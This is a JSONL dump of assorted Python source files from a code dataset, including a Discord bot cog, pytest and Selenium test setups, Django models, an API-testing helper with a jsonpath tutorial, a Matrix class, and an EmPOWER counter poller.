return anagram_list\n\n\nprint(anagrams('abba', ['aabb', 'abcd', 'bbaa', 'dada']))\nprint(anagrams('racer', ['crazer', 'carer', 'racar', 'caers', 'racer'])) #should be ['carer', 'racer']\nprint(anagrams('laser', ['lazing', 'lazy', 'lacer'])) # should be => []\n\n#best practices\n#def anagrams(word, words): return [item for item in words if sorted(item)==sorted(word)]","sub_path":"09 - Where my anagrams at.py","file_name":"09 - Where my anagrams at.py","file_ext":"py","file_size_in_byte":1822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"469829109","text":"import discord\nfrom discord.ext import commands\nfrom random import choice as pick\n\nclass Fun:\n def __init__(self, bot):\n self.bot = bot\n\n @commands.command()\n async def FusRoDah(self, ctx):\n if ctx.message.author.guild_permissions.administrator: #Verifier si permission administrator\n if ctx.message.author.voice != None: #On vérifie que l'utilisateur de la commande est dans un channel vocal\n #Suppression des utilisateurs bot de la lite des personnes mentionner dans le message\n mentions = list()\n for i in range(len(ctx.message.mentions)):\n if not ctx.message.mentions[i].bot:\n mentions.append(ctx.message.mentions[i])\n ctx.message.mentions = mentions\n\n #Si on a mentionner quelqu'un on les prend un par un\n if len(ctx.message.mentions) != 0:\n for i in ctx.message.mentions:\n if i.voice != None and i.voice.channel == ctx.message.author.voice.channel: #On vérifier si la personne mentionner et en vocal et si elle est dans le même vocal que l'utilisateur de la commande\n channel = pick(ctx.guild.voice_channels) #On prend un channel aléatoirement\n\n #Si le channel et le même que celui ou se trouver les personnes ou que la personne mentionner n'a pas le droit d'y accéder on en choisie un autre\n while channel == ctx.message.author.voice.channel or not channel.permissions_for(i).connect:\n channel = pick(ctx.guild.voice_channels)\n\n await i.move_to(channel, reason=\"Fus Ro Dah\")\n await ctx.send(f\"{i.name} get **Dragonborn !**\")\n\n else:\n await ctx.send(f\"{i.name} n'est pas dans le même channel que toi !\")\n\n #Si personne n'est mentionner alors on en prend un aléatoirement dans ceux connecteur avec l'utilisateur de la commande\n else:\n if len(ctx.message.author.voice.channel.members) > 1: #On vérifie si on n'est pas seul dans le vocal\n member = pick(ctx.message.author.voice.channel.members) #On prend un utilisateur aléatoire dans le channel vocal\n\n #Si l'utilisateur et le même que l'utilisateur de la commande on en choisie un autre\n while member == ctx.message.author:\n member = pick(ctx.message.author.voice.channel.members)\n\n\n channel = pick(ctx.guild.voice_channels) ##On prend un channel aléatoirement\n #Si le channel et le même que celui ou se trouver les personnes ou que la personne mentionner n'a pas le droit d'y accéder on en choisie un autre\n while channel == ctx.message.author.voice.channel or not channel.permissions_for(member).connect:\n channel = pick(ctx.guild.voice_channels)\n\n await member.move_to(channel, reason=\"Fus Ro Dah\")\n await ctx.send(f\"{member.name} get **Dragonborn !**\")\n\n else:\n await ctx.send(\"Tu est forever alone !\")\n else:\n await ctx.send(\"Tu n'est pas dans un channel vocal !\")\n else:\n await ctx.send(\"Tu n'as pas le droit de faire ça :stuck_out_tongue:\")\n\ndef setup(bot):\n \"\"\"Amorce de l'extension\"\"\"\n bot.add_cog(Fun(bot))\n","sub_path":"Fun.py","file_name":"Fun.py","file_ext":"py","file_size_in_byte":3590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"220977342","text":"# -*- coding: utf-8 -*-\n# pylint: disable=wrong-import-position,redefined-outer-name,unused-wildcard-import,wildcard-import\nimport gevent\nfrom gevent import monkey\nmonkey.patch_all()\n\nimport pytest\nfrom ethereum import slogging\nfrom ethereum.keys import PBKDF2_CONSTANTS\nfrom ethereum import processblock\nfrom ethereum import tester\n\nfrom raiden.network.rpc.client import GAS_LIMIT\nfrom raiden.tests.fixtures import * # noqa: F401,F403\n\ngevent.get_hub().SYSTEM_ERROR = BaseException\nPBKDF2_CONSTANTS['c'] = 100\n\nCATCH_LOG_HANDLER_NAME = 'catch_log_handler'\n\n\ndef pytest_addoption(parser):\n parser.addoption(\n '--blockchain-type',\n choices=['geth', 'tester'],\n default='geth',\n )\n\n parser.addoption(\n '--blockchain-cache',\n action='store_true',\n default=False,\n )\n\n parser.addoption(\n '--initial-port',\n type=int,\n default=29870,\n help='Base port number used to avoid conflicts while running parallel tests.',\n )\n\n parser.addoption(\n '--log-config',\n default=None,\n )\n\n parser.addoption(\n '--profiler',\n default=None,\n choices=['cpu', 'sample'],\n )\n\n\n@pytest.fixture(autouse=True)\ndef profiler(request, tmpdir):\n if request.config.option.profiler == 'cpu':\n from raiden.utils.profiling.cpu import CpuProfiler\n profiler = CpuProfiler(str(tmpdir))\n profiler.start()\n\n yield\n\n profiler.stop()\n\n elif request.config.option.profiler == 'sample':\n from raiden.utils.profiling.sampler import SampleProfiler\n profiler = SampleProfiler(str(tmpdir))\n profiler.start()\n\n yield\n\n profiler.stop()\n\n else:\n # do nothing, but yield a valid generator otherwise the autouse fixture\n # will fail\n yield\n\n\n@pytest.fixture(autouse=True)\ndef logging_level(request):\n \"\"\" Configure the logging level.\n\n For integration tests this also sets the geth verbosity.\n \"\"\"\n if request.config.option.log_format is not None:\n slogging.PRINT_FORMAT = request.config.option.log_format\n if request.config.option.log_config is not None:\n slogging.configure(request.config.option.log_config)\n\n elif request.config.option.verbose > 5:\n slogging.configure(':TRACE')\n\n elif request.config.option.verbose > 3:\n slogging.configure(':DEBUG')\n\n elif request.config.option.verbose > 1:\n slogging.configure(':INFO')\n\n else:\n slogging.configure(':WARNING')\n\n\n@pytest.fixture(scope='session', autouse=True)\ndef enable_greenlet_debugger(request):\n if request.config.option.usepdb:\n from raiden.utils.debug import enable_greenlet_debugger\n enable_greenlet_debugger()\n\n\n@pytest.fixture(scope='session', autouse=True)\ndef monkey_patch_tester():\n original_apply_transaction = processblock.apply_transaction\n\n def apply_transaction(block, transaction):\n start_gas = block.gas_used\n result = original_apply_transaction(block, transaction)\n end_gas = block.gas_used\n\n assert end_gas - start_gas <= GAS_LIMIT\n\n return result\n\n tester.processblock.apply_transaction = apply_transaction\n\n\n# Connect catchlog's handler to slogging's root logger\n@pytest.hookimpl(hookwrapper=True, trylast=True)\ndef pytest_runtest_call(item):\n catchlog_handler = getattr(item, CATCH_LOG_HANDLER_NAME, None)\n if catchlog_handler and catchlog_handler not in slogging.rootLogger.handlers:\n slogging.rootLogger.addHandler(catchlog_handler)\n\n yield\n\n if catchlog_handler and catchlog_handler in slogging.rootLogger.handlers:\n slogging.rootLogger.removeHandler(catchlog_handler)\n","sub_path":"raiden/tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":3686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"594246862","text":"import unittest\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.support.ui import WebDriverWait\r\n@unittest.skip(\"pass\")\r\nclass TestCaseLifeCycle(unittest.TestCase):\r\n\r\n @classmethod\r\n def setUpClass(cls):\r\n cls.driver = webdriver.Chrome(executable_path=\"E:\\\\seleniumstdy\\\\chromedriver.exe\")\r\n cls.driver.maximize_window()\r\n @classmethod\r\n def tearDownClass(cls):\r\n cls.driver.quit()\r\n\r\n def setUp(self):\r\n print(\"setup\")\r\n def tearDown(self):\r\n print(\"teardown\")\r\n \r\n def test_01_shop2(self):\r\n '''\r\n 这是第一个测试用例。。。\r\n '''\r\n self.driver.get(\"http://132.232.44.158:8080/\")\r\n\r\n baicaitai=('xpath','//*[@id=\"J_wrap_pro_add\"]/li[3]/div[1]/a/img')\r\n ee=WebDriverWait(self.driver,10).until(lambda s : s.find_element(*baicaitai))\r\n ee.click()\r\n jiagou=('id','J_mer_saleTag')\r\n e1=WebDriverWait(self.driver,10).until(lambda s : s.find_element(*jiagou))\r\n e1.click()\r\n bag=('link text',\"购物袋\")\r\n e2=WebDriverWait(self.driver,10).until(lambda s : s.find_element(*bag))\r\n e2.click()\r\n baicaitai1=('xpath','//*[@id=\"cart_item_3\"]/td[1]/a/img')\r\n \r\n self.assertTrue(self.is_element_exist(self.driver,baicaitai1))\r\n \r\n def test_02_shop1(self):\r\n '''\r\n 这是第二个测试用例。。。\r\n\r\n '''\r\n self.driver.get(\"http://132.232.44.158:8080/\")\r\n \r\n jielan = ('xpath','//*[@id=\"J_wrap_pro_add\"]/li[2]/div[1]/a/img')\r\n self.find_element(self.driver,jielan).click() #通过xpath找到商品并点击该商品(芥兰)\r\n btncart = ('xpath','//*[@id=\"J_mer_saleTag\"]')\r\n self.find_element(self.driver,btncart).click() #通过xpath找到加入购物袋按钮并点击该按钮\r\n bag = ('xpath','//*[@id=\"J_header_cart\"]/div[1]/a[1]')\r\n self.find_element(self.driver,bag).click() #通过xpath找到购物袋并点击购物袋\r\n jielan_cart = ('link text',\"mudan\") #通过link_text查找商品芥兰\r\n \r\n self.assertTrue(self.is_element_exist(self.driver,jielan_cart),\"{}没有加入购物车\".format(jielan_cart[1]))\r\n\r\n def find_element(self,driver,locator):\r\n return WebDriverWait(driver,30).until(lambda s:s.find_element(*locator))\r\n\r\n def is_element_exist(self,driver,locator): \r\n try:\r\n WebDriverWait(driver,30).until(lambda s:s.find_element(*locator))\r\n return True\r\n except:\r\n return False\r\n\r\nif __name__==\"__main__\":\r\n unittest.main()","sub_path":"unittestpro/cases/test_unittestdemo4.py","file_name":"test_unittestdemo4.py","file_ext":"py","file_size_in_byte":2845,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"584348590","text":"import requests\nimport os\n# 导入pymysql模块\nimport pymysql\n\n# 连接database\nconn = pymysql.connect(host=\"127.0.0.1\", port=3306, user='root', password='123456', database='douyin', charset='utf8')\n# 得到一个可以执行SQL语句的光标对象\ncursor = conn.cursor()\n# 定义要执行的SQL语句\ninsert = \"REPLACE INTO videos(url) VALUES (%s);\"\n\npath = 'C:/Users/Admin/Desktop/taitaiorder'\nvideos = set()\ndownload = set()\nfor name in os.listdir(path):\n download.add(name.split('.')[0])\n\n\ndef geturl():\n try:\n r = requests.get('http://www.kuaidoushe.com/video.php?_t=0.08053270802064239', allow_redirects=False)\n url = r.headers.get('location')\n print(url)\n arr = url.split('_')[0].split(\"=\")[0].split(\"/\")\n filename = arr[len(arr) - 1]\n cursor.execute(insert, [url])\n if filename not in download:\n videos.add(url)\n if len(videos) < 500:\n geturl()\n else:\n conn.commit()\n cursor.close()\n conn.close()\n except:\n geturl()\n\n\ndef download_video(download_url, title_list): # 写入mp4\n title = title_list + '.mp4'\n print(title)\n response = requests.get(download_url)\n f = open(title, 'wb')\n f.write(response.content)\n print(\"%s is over\" % title)\n f.close()\n\n\ngeturl()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1325,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"503021304","text":"from django.db import models\nfrom django.contrib.auth.models import User\n\n\nclass Autor(models.Model):\n classifica = (\n ('a', 'Diamante'),\n ('b', 'Ouro'),\n ('c', 'Prata')\n )\n nome_autor = models.CharField(max_length=100, null=False, blank=False, unique=True)\n classificacao_autor = models.CharField(max_length=1, choices=classifica, blank=False, null=False, default='c')\n usuario_autor = models.ForeignKey(User, on_delete=models.CASCADE)\n foto_autor = models.ImageField(blank=True, null=True)\n\n def __str__(self):\n return self.nome_autor\n\n\nclass Postagem(models.Model):\n titulo_postagem = models.CharField(max_length=100, unique=True)\n resumo_postagem = models.TextField(max_length=400)\n corpo_postagem = models.TextField()\n autor_postagem = models.ForeignKey(Autor, on_delete=models.CASCADE)\n data_postagem = models.DateTimeField(auto_now=True, editable=False)\n atualizacao_postagem = models.DateTimeField(auto_now_add=True, editable=False, null=True, blank=True)\n\n def __str__(self):\n return self.titulo_postagem\n\n\nclass Log(models.Model):\n usuario_log = models.ForeignKey(User, on_delete=models.DO_NOTHING, editable=False)\n acao_log = models.TextField(editable=False, null=False, blank=False)\n data_log = models.DateTimeField(auto_now=True, null=False, blank=False)\n","sub_path":"appapi/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1354,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"101031412","text":"class Calisan:\n def __init__(self,isim,soyisim,maas):\n self.isim = isim\n self.soyisim = soyisim\n self.maas = maas\n self.email = isim + soyisim + \"@asd.com\"\n\n def GiveNameSurname(self):\n return self.isim + \" \" + self.soyisim\n\nisci1 = Calisan(\"ışılnaz\",\"alan\",\"3000\")\n\nprint(isci1.soyisim, isci1.isim,isci1.maas, isci1.email)\nprint(isci1.GiveNameSurname())","sub_path":"sinif_ornek.py","file_name":"sinif_ornek.py","file_ext":"py","file_size_in_byte":399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"149188763","text":"# _*_ conding:utf-8 _*-\n# @Time:2021/1/10 &{TIME}\n'''\n 这是接口关键字驱动类,用于提供自动化接口测试的关键字方法。\n 主要实现常用的关键字内容,并定义好所有的参数的内容即可\n 接口中的常用关键字无非就是:\n 1. 各种模拟请求方法:post/get/put/delete/header/.....\n 2. 设置入参的默认值时,设置的参数必须放在最后\n'''\n# 导包\nimport json\n\nimport jsonpath\nimport requests\n\n\nclass ApiKey:\n # get请求的封装:因为params可能会存在无值的情况,存放默认值None\n def do_get(self, url, params=None, **kwargs):\n # 因为请求会默认返回一个响应,所以函数定义时需要return一下\n return requests.get(url=url, params=params, **kwargs)\n\n # post请求的封装:data也可能存在无值的情况存,放默认值None\n def do_post(self, url, data=None, **kwargs):\n return requests.post(url=url, data=data, **kwargs)\n\n # 基于JsonPath获取数据的关键字:用于提取所有需要的内容\n def get_text(self, txt, key):\n # jsonpath获取数据的表达式:成功则返回list,失败则返回false\n '''\n 对于json格式数据的获取,本身是存有目的性来获取的。\n '''\n try:\n txt = json.loads(txt)\n value = jsonpath.jsonpath(txt, '$..{0}'.format(key))\n if value:\n if len(value) == 1:\n return value[0]\n return value\n except Exception as e:\n return e\n return value\n\n\nif __name__ == '__main__':\n ak = ApiKey()\n data = {\n 'username': 'admin',\n 'password': '123456'\n }\n res = ak.do_get(url='http://39.98.138.157:5000/api/getuserinfo', timeout=0.1)\n print(res.text)\n ak.do_post(url='http://39.98.138.157:5000/api/login', json=data)\n\n\nimport unittest\nfrom ddt import ddt, file_data\n\nfrom class42.api_keyword.api_key import ApiKey\n\n\n@ddt\nclass ApiCase(unittest.TestCase):\n @classmethod\n def setUpClass(cls) -> None:\n cls.ak = ApiKey()\n\n # def setUp(self) -> None:\n # self.ak = ApiKey()\n @file_data('../data/user.yaml')\n def test_1(self, user, msg):\n # ak = ApiKey()\n url = 'http://39.98.138.157:5000/api/login'\n data = {\n 'username': user['username'],\n 'password': user['password']\n }\n res = self.ak.do_post(url=url, json=data)\n print(res.text)\n # 获取响应中的结果,用于校验是否成功\n msg1 = self.ak.get_text(res.text, 'msg')\n print(msg1)\n self.assertEqual(msg1, msg, msg='异常')\n\n\nif __name__ == '__main__':\n unittest.main()\n\n\n'''\n JsonPath模块,是一个专门用于处理Json字符串的模块。JsonPath相当于是Xpath\n 部署JsonPath,通过pip install jsonpath来进行安装\n 通过JsonPath获得的内容,会以list的形式进行返回,也就意味着你的jsonpath是可以有一个值或者多个值同时存在的。\n 如果要基于JsonPath来处理json数据,就一定要同步去处理list\n JsonPath定义中,如果表达式出现错误,则会返回False(布尔类型的值)\n JsonPath要么返回False,要么返回list\n'''\nimport jsonpath,json\n\ndata = {\n \"store\": {\n \"book\": [\n {\n \"category\": \"reference\",\n \"author\": \"Nigel Rees\",\n \"title\": \"Sayings of the Century\",\n \"price\": 8.95\n },\n {\n \"category\": \"fiction\",\n \"author\": \"Evelyn Waugh\",\n \"title\": \"Sword of Honour\",\n \"price\": 12.99\n },\n {\n \"category\": \"fiction\",\n \"author\": \"Herman Melville\",\n \"title\": \"Moby Dick\",\n \"isbn\": \"0-553-21311-3\",\n \"price\": 8.99\n },\n {\n \"category\": \"fiction\",\n \"author\": \"J. R. R. Tolkien\",\n \"title\": \"The Lord of the Rings\",\n \"isbn\": \"0-395-19395-8\",\n \"price\": 22.99\n }\n ],\n \"bicycle\": {\n \"color\": \"red\",\n \"price\": 19.95\n }\n },\n \"expensive\": 10\n}\n# 基于JsonPath获取元素:通过jsonpath函数来进行获取(json数据,定位表达式)\n'''\n jsonpath表达式的基本格式规范:\n $ 表示根节点,也是所有jsonpath的表达式的开始\n . 表示获取子节点\n .. 表示获取所有符合条件的内容\n * 表示所有的元素节点\n [] 表示迭代器的标示(可以用于处理下标等情况)\n [,] 表示多个结果的选择\n ?() 表示过滤操作\n @ 表示当前节点\n'''\nbicycle = jsonpath.jsonpath(data, '$.store.bicycle.color')\nprint(bicycle[0])\nprint(bicycle)\n# book = jsonpath.jsonpath(data, '$.store.book')\n# print(book)\n# # 获取store下的所有price节点的值\n# price = jsonpath.jsonpath(data, '$.store..price')\n# print(price)\n# # 获取指定book下的price节点\n# book_price = jsonpath.jsonpath(data, '$.store.book[0,10].price')\n# print(book_price)\n# # 获取price大于10的所有book\n# book_1 = jsonpath.jsonpath(data, '$..book[?(@.price>10)]')\n# print(book_1)\n# # 这是一条错误的JsonPath\n# book_2 = jsonpath.jsonpath(data, '$..虚竹[?(@.price>10)]')\n# print(type(book_2))\n\n","sub_path":"python/class42.py","file_name":"class42.py","file_ext":"py","file_size_in_byte":5452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"42526290","text":"\n\n#calss header\nclass _RUNWAY():\n\tdef __init__(self,): \n\t\tself.name = \"RUNWAY\"\n\t\tself.definitions = [u'a long, level piece of ground with a specially prepared smooth, hard surface on which aircraft take off and land', u'the long, narrow stage that models walk along in a fashion show']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_runway.py","file_name":"_runway.py","file_ext":"py","file_size_in_byte":460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"180290414","text":"class MatrixSyntaxError(Exception):\n pass\n\n\ndef self_eval(A):\n \n if A.find('j') != -1:\n if A.find('j') == 0:\n A = A.replace('j','1j',1) \n elif A.find('-j') != -1:\n A = A.replace('-j','-1j',1)\n elif A.find('+j') != -1:\n A = A.replace('+j','+1j',1)\n elif A.find('*j') != -1:\n A = A.replace('*j','*1j',1)\n try: \n Aval = eval(A)\n except:\n raise MatrixSyntaxError \n else:\n try:\n Aval = eval(A)\n except:\n raise MatrixSyntaxError \n if Aval == 0:\n return 0\n elif isinstance(Aval,int):\n return Aval\n elif isinstance(Aval,float):\n if Aval == int(Aval):\n return int(Aval)\n else:\n return Aval\n elif isinstance(Aval,complex):\n Aval_real = self_eval(str(complex(Aval).real))\n Aval_imag = self_eval(str(complex(Aval).imag))\n if Aval_real == 0:\n return complex(0,Aval_imag)\n elif Aval_imag == 0:\n return Aval_real\n else:\n return Aval\n else:\n raise MatrixSyntaxError\n \n\ndef Str2Mat(s):\n\n s = s.replace(' ','')\n if s[0] != '[' or s[-1] != ']': \n raise MatrixSyntaxError\n s = s.replace('[','',1).replace(']','',1)\n stri = s.split(';')\n mat = []\n if stri != ['']:\n for i in range(len(stri)):\n mat.append([])\n strii = stri[i].split(',')\n for j in range(len(strii)):\n mat[i].append(self_eval(strii[j]))\n line = len(mat[0])\n for i in mat:\n if line != len(i):\n raise MatrixSyntaxError\n return mat\t\n\ndef Mat2StrStandard(A):\n\n StaString = '['\n if A != []:\n line = len(A[0]) \n for i in range(len(A)):\n for j in range(line):\n ele_string = str(self_eval(str(A[i][j]))).strip('()')\n StaString = StaString + ele_string + ','\n StaString = StaString.rstrip(',') + ';'\n StaString = StaString.rstrip(';') + ']'\n return StaString\n\t\n\t\ndef MatAdd(A, B):\n\n Sum = []\n for i in range(len(A)):\n Sum.append([])\n for j in range(len(A[0])):\n Sum[i].append(A[i][j] + B[i][j])\t\n return Sum\n\ndef MatSub(A, B):\n\n Sub = []\n for i in range(len(A)):\n Sub.append([])\n for j in range(len(A[0])):\n Sub[i].append(A[i][j] - B[i][j])\n return Sub\ndef MatScalarMul(A, c):\n\n Mul = []\n for i in range(len(A)):\n Mul.append([])\n for j in range(len(A[0])):\n Mul[i].append(A[i][j] * c)\n return Mul\n \ndef MatTransposition(A):\n\n if A == []:\n return A\n else:\n rowT = len(A)\n lineT = len(A[0])\n Tran = []\n for i in range(lineT):\n Tran.append([])\n for j in range(rowT):\n Tran[i].append(A[j][i])\n return Tran\n\ndef MatEq(A, B):\n\n if A == B:\n return True\n else:\n return False\n\ndef determinanta(A):\n if len(A) == 0:\n return 1\n elif len(A) == 1:\n return A[0][0]\n elif len(A) == 2:\n return A[0][0] * A[1][1] - A[0][1] * A[1][0]\n elif len(A) > 2: \n det = 0 \n for i in range(len(A)):\n Matx = [] \n for j in range(len(A) - 1):\n Matx.append([])\n for k in range(len(A)):\n if i != k:\n Matx[j].append(A[j+1][k]) \n det = det + A[0][i] * ((-1) ** (i % 2)) * determinanta(Matx)\n return det\n else:\n raise MatrixSyntaxError\n\n\n \nclass Matrix(object):\n\n def __init__(self,s):\n self.s = s\n self.l = Str2Mat(self.s)\n self.row = len(self.l)\n if self.l != []:\n self.line = len(self.l[0])\n else:\n self.line = 0\n \n def __setitem__(self,key,value):\n if self.l == []:\n raise MatrixSyntaxError \n elif isinstance(key, int): \n if key > self.row or value.line != self.line or not isinstance(value, Matrix):\n raise MatrixSyntaxError\n else: \n self.l[key] = value.l[0]\n elif isinstance(key,tuple):\n if len(key) == 2: \n if isinstance(key[0], slice) and isinstance(key[1], slice): \n try:\n row_cut = [i for i in range(self.row)][key[0]]\n line_cut = [i for i in range(self.line)][key[1]] \n for i in range(len(row_cut)):\n for j in range(len(line_cut)):\n self.l[row_cut[i]][line_cut[j]] = value.l[i][j] \n except:\n raise MatrixSyntaxError\n elif isinstance(key[0], int) and isinstance(key[1], int) and key[0] <= self.row and key[1] <= self.line:\n try: \n self.l[key[0]][key[1]] = self_eval(str(value))\n except:\n raise MatrixSyntaxError \n else:\n raise MatrixSyntaxError\n else:\n raise MatrixSyntaxError\n else:\n raise MatrixSyntaxError\n\n def __getitem__(self,key): \n if self.l == []:\n raise MatrixSyntaxError\n elif isinstance(key, int):\n if key > self.row:\n raise MatrixSyntaxError\n else: \n StrValue = []\n StrValue.append(self.l[key]) \n return Mat2StrStandard(StrValue)\n elif isinstance(key,tuple):\n if len(key) == 2: \n if isinstance(key[0], slice) and isinstance(key[1], slice): \n row_cut = [i for i in range(self.row)][key[0]]\n line_cut = [i for i in range(self.line)][key[1]] \n l_cut = [] \n for i in range(len(row_cut)):\n l_cut.append([]) \n for j in range(len(line_cut)):\n l_cut[i].append(self.l[row_cut[i]][line_cut[j]])\n return Mat2StrStandard(l_cut)\n elif isinstance(key[0], int) and isinstance(key[1], int) and key[0] <= self.row and key[1] <= self.line:\n return self.l[key[0]][key[1]]\n else:\n raise MatrixSyntaxError\n else:\n raise MatrixSyntaxError\n else:\n raise MatrixSyntaxError \n\n def __add__(self,other):\n if self.line == other.line and self.row == other.row and isinstance(self,Matrix) and isinstance(other,Matrix):\n return Matrix(Mat2StrStandard(MatAdd(self.l,other.l))) \n else:\n raise MatrixSyntaxError \n\n def __sub__(self,other):\n if self.line == other.line and self.row == other.row and isinstance(self,Matrix) and isinstance(other,Matrix):\n return Matrix(Mat2StrStandard(MatSub(self.l,other.l))) \n else:\n raise MatrixSyntaxError \n\n def __mul__(self,other):\n if isinstance(other, Matrix) and isinstance(self, Matrix):\n if self.line == other.row:\n if self.l == other.l == []:\n return Matrix('[]')\n else:\n Outcome = [] \n for i in range(self.row):\n Outcome.append([])\n for j in range(other.line):\n Aij = 0\n for k in range(self.line):\n Aij = Aij + self.l[i][k] * other.l[k][j]\n Outcome[i].append(Aij)\n return Matrix(Mat2StrStandard(Outcome))\n else:\n raise MatrixSyntaxError\n else:\n others = self_eval(str(other))\n return Matrix(Mat2StrStandard(MatScalarMul(self.l, others)))\n\n def __truediv__(self,other):\n if other == 0:\n raise MatrixSyntaxError\n else:\n Div = []\n for i in range(self.row):\n Div.append([])\n for j in range(self.line):\n Div[i].append(self.l[i][j] / other)\n return Matrix(Mat2StrStandard(Div))\n\n def __neg__(self):\n Neg = []\n for i in range(self.row):\n Neg.append([])\n for j in range(self.line):\n Neg[i].append(-self.l[i][j])\n return Matrix(Mat2StrStandard(Neg))\n\n def __pow__(self,other):\n if isinstance(other,int) and other >= 1:\n if other == 1:\n return self\n else:\n for i in range(other):\n return self * (self ** (other-1))\n else:\n raise MatrixSyntaxError \n\n def __eq__(self,other):\n if isinstance(self,Matrix) and isinstance(other,Matrix):\n return MatEq(self.l, other.l)\n else:\n raise MatrixSyntaxError\n\n def isIdentity(self):\n if self.l != []:\n if self.line == self.row:\n for i in range(self.row):\n for j in range(self.line):\n if i != j and self.l[i][j] != 0:\n return False\n elif i == j and self.l[i][j] != 1:\n return False\n return True \n else:\n return False\n else:\n return True\n\n def isSquare(self):\n if self.row == self.line:\n return True\n else:\n return False\n \n def transposition(self):\n return Matrix(Mat2StrStandard(MatTransposition(self.l)))\n\n\n def determinant(self):\n if self.isSquare: \n return determinanta(self.l)\n \n def inverse(self):\n if self.isSquare:\n detx = [] \n if self.row == 1:\n detx.append([]) \n detx[0] = self.l[0][0]\n elif self.row == 2:\n detx.append([])\n detx.append([]) \n detx[0] = [self.l[1][1],-self.l[1][0]]\n detx[1] = [-self.l[0][1],self.l[0][0]]\n elif self.row > 2:\n for i in range(self.row):\n detx.append([]) \n for j in range(self.row):\n detxx = []\n x = -1\n for k in range(self.row):\n if k != i:\n x = x + 1 \n detxx.append([]) \n for p in range(self.row):\n if j != p:\n detxx[x].append(self.l[k][p]) \n \n detx[i].append(determinanta(detxx) * (-1) ** (i + j))\n\n detx_trans = MatTransposition(detx)\n detx_det = determinanta(self.l)\n detx_matrix = Matrix(Mat2StrStandard(detx_trans))\n return detx_matrix / detx_det\n else:\n raise MatrixSyntaxError\n\n def __str__(self):\n return Mat2StrStandard(self.l)\n\n \n\n\n\n\n\n\n\nx = Matrix(\" [3*4j,-0.35+j,4j,3;0.000007,3,4,5;100*j,4,5,6;1,2,3,4]\")\nprint (x)\ny = Matrix('[-10-j,-j-2,j-1,j+1;123,25.000000000000000000000000005,-9,2;8,13,3j,98;1,2,3,4]')\nprint (y)\n\n\n\nprint (x.determinant())\nprint (x.inverse())\nx[1] = Matrix('[1,4,3,5]');print (x)\n\nx[1,0] = 0j;print (x)\n\nprint (Matrix('[1,2,3]'))\nprint (Matrix('[]')**3)\nprint (x[2,0])\nprint (x[1:2:1,0:3:2])\nprint (x[1])\n\n\n\n\nprint (x[1,0])\nprint (MatAdd([],[]))\nprint (Matrix('[1,2,3]'))\n\n\nb = Matrix('[2,1,2;-1,5,21;13,-1,-17]')\nprint (b.determinant())\n\nc = Matrix('[1,2,3;2,2,3;4,1,4]')\nprint (c.determinant())\n\n\na = Matrix('[1,1,2;-1,2,0;1,1,3]')\nprint (a.inverse())\n\n","sub_path":"Homework/test/2/Matrix(dalao).py","file_name":"Matrix(dalao).py","file_ext":"py","file_size_in_byte":12330,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"304990557","text":"#!/usr/bin/env python3\n#\n# Copyright (c) 2016 Roberto Riggio\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n\n\"\"\"TXP Bin Counters Poller App.\"\"\"\n\nfrom empower.core.app import EmpowerApp\nfrom empower.core.app import DEFAULT_PERIOD\nfrom empower.datatypes.etheraddress import EtherAddress\nfrom empower.core.resourcepool import TX_MCAST_LEGACY\n\n\nclass TXPBinCounterPoller(EmpowerApp):\n \"\"\"TXP Bin Counters Poller App.\n\n Command Line Parameters:\n\n tenant_id: tenant id\n filepath: path to file for statistics (optional, default ./)\n every: loop period in ms (optional, default 5000ms)\n\n Example:\n\n ./empower-runtime.py apps.pollers.txpbincounterpoller \\\n --tenant_id=52313ecb-9d00-4b7d-b873-b55d3d9ada26\n \"\"\"\n\n def __init__(self, **kwargs):\n EmpowerApp.__init__(self, **kwargs)\n self.wtpup(callback=self.wtp_up_callback)\n\n def wtp_up_callback(self, wtp):\n \"\"\" New LVAP. \"\"\"\n\n for block in wtp.supports:\n\n tx_policy = block.tx_policies[EtherAddress(\"ff:ff:ff:ff:ff:ff\")]\n tx_policy.mcast = TX_MCAST_LEGACY\n tx_policy.mcs = [6]\n\n self.txp_bin_counter(block=block,\n mcast=\"ff:ff:ff:ff:ff:ff\",\n callback=self.txp_bin_counter_callback)\n\n def txp_bin_counter_callback(self, counter):\n \"\"\"Counters callback.\"\"\"\n\n self.log.info(\"Mcast address %s packets %u\", counter.mcast,\n counter.tx_packets[0])\n\n\ndef launch(tenant_id, every=DEFAULT_PERIOD):\n \"\"\" Initialize the module. \"\"\"\n\n return TXPBinCounterPoller(tenant_id=tenant_id, every=every)\n","sub_path":"empower/apps/pollers/txpbincounterpoller.py","file_name":"txpbincounterpoller.py","file_ext":"py","file_size_in_byte":2162,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} 